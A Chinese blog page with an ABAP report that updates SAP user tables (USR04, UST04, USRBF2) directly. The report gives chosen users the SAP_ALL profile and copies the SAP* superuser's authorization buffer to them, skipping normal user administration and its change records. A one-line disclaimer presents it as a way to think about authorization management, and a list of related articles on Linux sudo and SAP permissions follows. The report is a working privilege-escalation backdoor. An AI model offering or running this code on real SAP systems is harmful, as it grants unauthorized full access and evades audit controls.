给用户增加SAP_ALL的权限,报表可对basis与abap开发人员对用户权限管理的思路,谢绝用于其它用途,后果自负。
REPORT  ZTESTCREATEUSER.

data: l_USR04 LIKE  USR04 ,
      l_UST04 LIKE UST04 ,
      l_PROFS LIKE USR04-PROFS  ,
      l_USRBF2 like USRBF2 occurs 0 with header line,
      l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.

给用户增加SAP_ALL权限相关推荐

  1. sudoers修改_为用户增加sudo权限(修改sudoers文件) | 学步园

    在使用Linux系统过程中,通常情况下,我们都会使用普通用户进行日常操作,而root用户只有在权限分配及系统设置时才会使用,而root用户的密码也不可能公开.普通用户执行到系统程序时,需要临时提升权限 ...

  2. linux令普通用户拥有root权限

    如题,平时我们在自己电脑上玩linux,基本都是一个root用户就够了(反正我99%时间都是直接用root用户登录系统),可如果在公司里就不行了,有时候需要多个用户对系统具有root权限,类似与一个系 ...

  3. 如何给普通用户设置 sudo 权限

    如何给普通用户设置 sudo 权限 法一: 1.su - 进入root用户 2.cd /etc/进入etc目录 3.vim sudoers找到 root ALL=(ALL) ALL 4.在 root ...

  4. 5 SU01给用户增加权限

    5 SU01给用户增加权限 通过事务码SU01给SAP账号增加权限,就是给用户名增加权限角色即可. 步骤1:输入事务码SU01进入 1处,输入SAP用户名 2处,点击"修改"按钮, ...

  5. 文件exer1的访问权限为rw-r--r--,现要增加所有用户的执行权限和同组用户的写权限,下列哪个命令是对的?

    文件exer1的访问权限为rw-r--r--,现要增加所有用户的执行权限和同组用户的写权限,下列哪个命令是对的? 正确答案: A   你的答案: C (错误) chmod a+x g+w exer1 ...

  6. Ubuntu(Linux)增加新用户并赋予权限、删除用户

    本文以创建一个用户名为zml的用户为例. 一.增加用户 1.1 增加用户并创建用户目录 sudo useradd -r -m -s /bin/bash zml -r:创建系统帐号 -m:自动创建用户的 ...

  7. Ubuntu创建新用户并增加管理员权限

    $是普通管员,#是系统管理员,在 Ubuntu下,root用户默认是没有密码的,因此也就无法使用(据说是为了安全).想用root的话,得给root用户设置一个密码: sudo passwd root ...

  8. linux centos7增加文件夹权限,在Centos7系统中实现用户和文件权限的管理

    实验:用户和文件权限管理 涉及到的命令:useradd usermode mkdir groupadd passwd chown chmod 建立用户目录 创建目录/tech/benet和/tech/ ...

  9. CentOS7增加新用户并授予权限

    为了后续设置SSH免登陆及搭建集群,需要在各个虚拟机上设置一个统一名称的用户,这里定为hadoop,大体过程如下: 1.新增用户并设置密码 新增用户需要root权限 首先键入命令: su root 获 ...

最新文章

  1. 探索 Block 的本质
  2. Brocade说:网络就是云
  3. java图片转成字符串_JAVA将图片(本地或者网络资源)转为Base64字符串,将base64字符串存储为本地图片...
  4. 20 岁发表 SCI 的学霸,梦想用算法改变世界
  5. SAP成都研究院2018年年会之前的技术讲座
  6. 数字电路实验怎么接线视频讲解_家庭影院中音箱、功放、投影机、4K播放机不知道怎么连接?手把手教你...
  7. 给Web开发人员的以太坊入坑指南
  8. git clone 时候出现Please make sure you have the correct access rights and the repository exists.
  9. Swift学习笔记-访问控制(Access Control)
  10. 【Python】 is, is not ,==, != 的区别
  11. 命令发送广播_那些你不知道的ping命令参数
  12. HashMap--并发下死循环(HashMap不能在多线程下使用)
  13. Mac合并pdf文件最简单的方法——PDF Expert合并pdf文件教程
  14. python客户端与服务器端通信数据库原理_python学习之网络部分
  15. Linux常用基本命令总结
  16. 洛谷【P1873】 砍树 简单二分解析
  17. python修改表格居中_Python使用openpyxl对xlsx表格合并单元格、设置单元格样式的操作...
  18. 解构TypeScript中class
  19. 日语输入中的促音怎么输入
  20. 【Python】【setFocus】焦点

热门文章

  1. Python 框架篇
  2. CSS-非常有用的css变量
  3. 金蝶K/3 同步用核算项目配置
  4. 我的DWR学习(一)
  5. AngularJS+RequireJS集成环境
  6. easyui点击搜索的时候获取不要文本框里面的值的问题
  7. 9月全球浏览器份额之争:IE领先Chrome21.73%
  8. jQuery插件开发
  9. iOS开发之APP内部切换语言
  10. virsh KVM管理工具